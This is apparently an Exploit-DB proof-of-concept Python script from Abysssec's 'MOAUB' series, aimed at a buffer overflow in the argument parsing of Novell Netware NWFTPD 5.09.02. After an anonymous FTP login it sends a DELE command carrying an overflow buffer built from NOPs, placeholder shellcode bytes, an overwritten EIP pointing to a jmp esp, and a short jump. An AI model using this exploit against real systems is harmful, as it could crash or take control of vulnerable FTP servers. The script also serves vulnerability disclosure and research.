''' ________ __ ____ |\/|/ __ \ /\| || |_ \ | \/ | || | /\ | || | |_) | | |\/| | || |/ /\ \| || |_ <Day 7 - (Binary Analysis) | || | |__| / ____ \ |__| | |_) | |_||_|\____/_/\_\____/|____/ http://www.exploit-db.com/moaub-7-novell-netware-nwftpd-rmdrnfrdele-argument-parsing-buffer-overflow/ ''' ''' Title:Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Buffer overflow Version:NWFTPD.NLM 5.09.02 (Netware 6.5 SP8) Analysis :http://www.abysssec.com Vendor :http://www.Novell.com Impact :Critical Contact:shahin [at] abysssec.com , info[at] abysssec.com Twitter:@abysssec ''' from ftplib import FTP import sys try: netwareServerIp = '127.0.0.1' ftp = FTP(netwareServerIp) ftp.login('anonymous','a@a') buffer = "/" buffer += "\x90"*107 #nops buffer += "\xcc"*413 #shellcode part2 = 413 byte buffer += "\xb9\xa4\xe0\x91" #EIP - jmp esp from nwftpd.nlm module buffer += "\xcc"*124 #shellcode part1 = 124 byte buffer += "\x08\xeb\x90\x90\x90\x90" #short jmp to shellcode part2 ftp.voidcmd('DELE ' + buffer) except Exception,err: print err
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